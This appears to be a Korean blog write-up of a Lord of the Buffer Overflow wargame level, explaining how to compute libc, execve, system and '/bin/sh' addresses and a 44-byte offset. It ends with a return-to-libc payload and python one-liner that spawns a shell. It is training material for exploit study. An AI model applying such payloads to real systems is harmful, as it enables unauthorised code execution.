프로그램 분석

  1. ldd /home/giant/assassin | grep libc | awk print $4

    1. 공유 라이브러리의 주소

    2. 그런데 giantassassin에는 접근이 불가능하니 현제 파일로 해서 주소를 구해도 됨

  2. nm /lib/libc.so.6 | grep __execve | awk print $1

    1. execve이 공유 라이브러리에 어디에 있는지 오프셋을 구한다.

  3. ret == execve_addr과 같아야 if문에 빠지지 않는다.

  4. argv[1] buffer에 저장한다.

알아야 할 것

  • execve()의 주소

  • execve()함수 사용법

  • ret까지의 거리

  • system()주소

  • "/bin/sh"주소 

execve()의 주소

1번 값 + 2번 값 = execve()함수의 주소


execve()의 사용법

filename

-실행 가능한 파일의 실행코드를 현재 프로세스에 적재하여 기존의 실행코드와 교체하여 새로운 기능으로 실행

, 현재 실행되는 프로그램의 기능은 없어지고 filename프로그램을 메모리에 loading하여 처음부터 실행

argv[]

-c언어에서 main(int argc, char *argv[])argv와 같다 마지막 array 다음은 NULL이어야 한다.

envp[]

-key=value형식의 한경변수 문자열 배열리스트로 마지막은 NULL이어야 한다.

-만약 설정된 환경변수를 사용하려면 environ 전역변수를 그냥 사용한다.


RET까지의 거리

-bufferebp-40부터 이다.

-그러니 ret까지의 거리는 44이다.


system() 주소


/bin/sh의 주소


payload= 'A'*44+'0x400a9d48'+'0x40058ae0'+'AAAA'+'0x400fbff9'

"`python -c "print 'A'*44+'\x48\x9d\x0a\x40'+'\xe0\x8a\x05\x40'+'BBBB'+'\xf9\xbf\x0f\x40'"`"

★\x0a가 \x00으로 표시되니 " "큰 따옴표로 한 번 감싸주자

'포너블 > LoB' 카테고리의 다른 글

[LOB] assassin -> zombie_assassin  (0) 2020.02.09
[LOB]giant -> assassin  (0) 2020.02.06
[LOB] darkknight -> bugbear  (0) 2020.02.06
[LOB] golem->darkknight  (0) 2020.02.01
[LOB] goblin -> orc  (0) 2019.10.02

+ Recent posts